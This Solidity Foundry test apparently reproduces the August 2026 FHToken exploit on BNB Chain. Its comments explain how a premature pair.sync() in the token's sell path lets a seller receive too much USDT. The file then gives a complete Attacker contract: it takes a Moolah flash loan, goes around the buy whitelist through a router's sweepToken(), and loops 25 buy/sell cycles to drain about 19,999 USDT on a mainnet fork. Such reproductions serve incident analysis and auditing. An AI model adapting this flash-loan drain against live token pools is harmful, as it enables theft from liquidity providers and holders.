src/test/2026-08/FHToken_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import {IERC20} from "forge-std/interfaces/IERC20.sol";
6 
7// FHToken (Falcon Heavy Token, "FH") — sell-tax reserve mismatch via premature sync() — BNB Chain,
8// 2026-08-23. Attacker nets ~19,999.02 USDT funded by a fee-free flash loan.
9//
10// Exploit tx : 0x7a3cadc2f33e000b0091307df62db2f5cc79ab8e0b022fd84de9e1c2c0745bd2 (block 117979402)
11//
12// ROOT CAUSE (verified against the verified FHToken source, the on-chain tx, and the arithmetic):
13// FHToken._transfer treats a transfer whose recipient is the FH/USDT pair as a "sell". On a sell it
14// does NOT tax the seller's own amount into the pool; instead it burns 80% and moves 20% of the
15// net amount out of the POOL's OWN FH balance, then calls pair.sync() BEFORE crediting the seller's
16// net FH to the pair:
17//
18//     } else if (isSell) {
19//         feeAmount = (amount * sellFee) / FEE_DENOMINATOR;
20//         uint256 netAmount = amount - feeAmount;
21//         if (!inSwap) {
22//             inSwap = true;
23//             if (feeAmount > 0) super._transfer(sender, SLIPPAGE_WALLET, feeAmount);
24//             if (netAmount > 0 && totalSupply() > targetSupply) {
25//                 uint256 burnAmount = (netAmount * 80) / 100;
26//                 uint256 treasuryAmount = netAmount - burnAmount;
27//                 if (burnAmount > 0) { _burn(pair, burnAmount); ... }           // burns pool FH
28//                 if (treasuryAmount > 0) super._transfer(pair, TREASURY_WALLET, treasuryAmount);
29//                 try IUniswapV2Pair(pair).sync() {} catch {}                     // sync BEFORE credit
30//             }
31//             super._transfer(sender, recipient, netAmount);                      // seller's FH credited AFTER
32//             inSwap = false;
33//         } ...
34//     }
35//
36// sync() latches reserve1 (FH) to the pair's balance after the burn/treasury removal but before the
37// incoming sell is credited, so reserve1 is far below the pair's true post-transfer FH balance.
38// PancakeSwap's getAmountOut then values the sell against the shrunken FH reserve and overpays USDT.
39// The sell path is triggered automatically inside FHToken._transfer for any transfer into the pair,
40// with no owner/admin/signer gate (only tradingEnabled and a blacklist check). The buy path IS gated
41// (recipient must be in isBuyerWhitelist), so the attacker routes the buy leg's output through a
42// hardcoded-whitelisted SwapRouter (0x1b81D678, whitelisted in FHToken's constructor) and then pulls
43// the FH back with that router's public sweepToken(). Amplification: each buy first inflates the
44// pool's USDT side, so the following sell's overpay compounds; looping 25 buy/sell cycles drains it.
45//
46// This is a reconstruction, not a replay. The attacker's on-chain contracts (0x727Fb666..., its
47// flash-loan wrapper) are never used. A fresh Attacker contract below takes a real fee-free flash
48// loan from the actual Lista/Moolah pool (typed onMoolahFlashLoan callback) and runs the cycles with
49// typed calls to the real PancakeSwap V2 router and the real 0x1b81D678 router. Only the per-cycle
50// USDT buy sizes are taken from the original tx, so the pool follows the same trajectory; every swap
51// is executed by the real contracts on the fork.
52//
53// Moolah's flash loan uses transient storage, so this must run with cancun:
54//   forge test --contracts src/test/2026-08/FHToken_exp.sol --evm-version cancun -vvv
55 
56interface IMoolah {
57    function flashLoan(address token, uint256 assets, bytes calldata data) external;
58}
59 
60interface IMoolahFlashLoanCallback {
61    function onMoolahFlashLoan(uint256 assets, bytes calldata data) external;
62}
63 
64interface IPancakeRouter {
65    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
66        uint256 amountIn,
67        uint256 amountOutMin,
68        address[] calldata path,
69        address to,
70        uint256 deadline
71    ) external;
72}
73 
74interface ISweepRouter {
75    function sweepToken(address token, uint256 amountMinimum, address recipient) external payable;
76}
77 
78contract Attacker is IMoolahFlashLoanCallback {
79    IMoolah internal constant MOOLAH = IMoolah(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C);
80    IPancakeRouter internal constant ROUTER = IPancakeRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
81    ISweepRouter internal constant SWEEP_ROUTER = ISweepRouter(0x1b81D678ffb9C0263b24A97847620C99d213eB14);
82    IERC20 internal constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
83    IERC20 internal constant FH = IERC20(0xdCf0DFe0053677A67610c6d08EA1f5c78DF8cA37);
84    address internal constant PAIR = 0x8f2d1A3992856a860304f1B86534B6B129Cc4df7;
85 
86    uint256 internal constant LOAN = 25_999_350_000_000_000_000_000; // 25,999.35 USDT, matching on-chain
87 
88    function run() external {
89        MOOLAH.flashLoan(address(USDT), LOAN, "");
90    }
91 
92    function onMoolahFlashLoan(uint256 assets, bytes calldata) external override {
93        require(msg.sender == address(MOOLAH), "only moolah");
94 
95        USDT.approve(address(ROUTER), type(uint256).max);
96        FH.approve(address(ROUTER), type(uint256).max);
97 
98        uint256[25] memory b = _buys();
99        for (uint256 i = 0; i < b.length; i++) {
100            _buy(b[i]);
101            _sellAll();
102        }
103 
104        // Repay the (fee-free) flash loan; Moolah pulls it via transferFrom after this returns.
105        USDT.approve(address(MOOLAH), assets);
106    }
107 
108    function _buy(
109        uint256 usdtIn
110    ) internal {
111        address[] memory path = new address[](2);
112        path[0] = address(USDT);
113        path[1] = address(FH);
114        // Output goes to the whitelisted SwapRouter (buy path is whitelist-gated on the recipient),
115        // then its public sweepToken() forwards the FH to this contract.
116        ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(usdtIn, 0, path, address(SWEEP_ROUTER), block.timestamp);
117        SWEEP_ROUTER.sweepToken(address(FH), 0, address(this));
118    }
119 
120    function _sellAll() internal {
121        uint256 bal = FH.balanceOf(address(this));
122        if (bal == 0) return;
123        address[] memory path = new address[](2);
124        path[0] = address(FH);
125        path[1] = address(USDT);
126        // Selling into the pair triggers the premature-sync bug; the router reads the shrunken
127        // reserves and pays out the inflated USDT amount.
128        ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(bal, 0, path, address(this), block.timestamp);
129    }
130 
131    function _buys() internal pure returns (uint256[25] memory b) {
132            b[0] = 19799505000000000000000;
133            b[1] = 4294771867419896586556;
134            b[2] = 2938836021986925319656;
135            b[3] = 2010993233341752866287;
136            b[4] = 1376086911379334382111;
137            b[5] = 941631804758892845619;
138            b[6] = 644341900501565528230;
139            b[7] = 440911705237352658988;
140            b[8] = 301708039883769476703;
141            b[9] = 206453446912923209167;
142            b[10] = 141272422699267044335;
143            b[11] = 96670206837176779256;
144            b[12] = 66149703610845097504;
145            b[13] = 45265065949148704688;
146            b[14] = 30974079754529158785;
147            b[15] = 21195012014733987754;
148            b[16] = 14503369845524790118;
149            b[17] = 9924398095639286004;
150            b[18] = 6791089147541820113;
151            b[19] = 4647021548855906642;
152            b[20] = 3179874215514878363;
153            b[21] = 2175931383185823934;
154            b[22] = 1488951154492865499;
155            b[23] = 1018862799441643929;
156            b[24] = 697189696890783854;
157    }
158}
159 
160contract FHToken_exp is BaseTestWithBalanceLog {
161    IERC20 internal constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
162    Attacker internal atk;
163 
164    uint256 internal constant FORK_BLOCK = 117_979_401; // parent of exploit block 117979402
165    uint256 internal constant EXPECTED_PROFIT = 19_999_020_000_000_000_000_000; // ~19,999.02 USDT
166 
167    function setUp() public {
168        vm.createSelectFork("https://bsc-mainnet.public.blastapi.io", FORK_BLOCK);
169        atk = new Attacker();
170        fundingToken = address(USDT);
171        attacker = address(atk);
172        vm.label(address(atk), "Attacker");
173        vm.label(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C, "MoolahFlashPool");
174        vm.label(0x10ED43C718714eb63d5aA57B78B54704E256024E, "PancakeRouterV2");
175        vm.label(0x1b81D678ffb9C0263b24A97847620C99d213eB14, "WhitelistedSwapRouter");
176        vm.label(0x8f2d1A3992856a860304f1B86534B6B129Cc4df7, "FH_USDT_Pair");
177        vm.label(0xdCf0DFe0053677A67610c6d08EA1f5c78DF8cA37, "FHToken");
178    }
179 
180    function testExploit() public balanceLog {
181        assertEq(USDT.balanceOf(address(atk)), 0, "attacker already funded");
182 
183        atk.run();
184 
185        uint256 profit = USDT.balanceOf(address(atk));
186        emit log_named_decimal_uint("attacker net USDT profit", profit, 18);
187 
188        // Matches the reported ~19,999.02 USDT drain. Same fork block and same per-cycle buy sizes,
189        // so the pool trajectory and the resulting sells reproduce the on-chain figure.
190        assertApproxEqRel(profit, EXPECTED_PROFIT, 1e16, "profit off reported ~19,999.02 USDT");
191    }
192}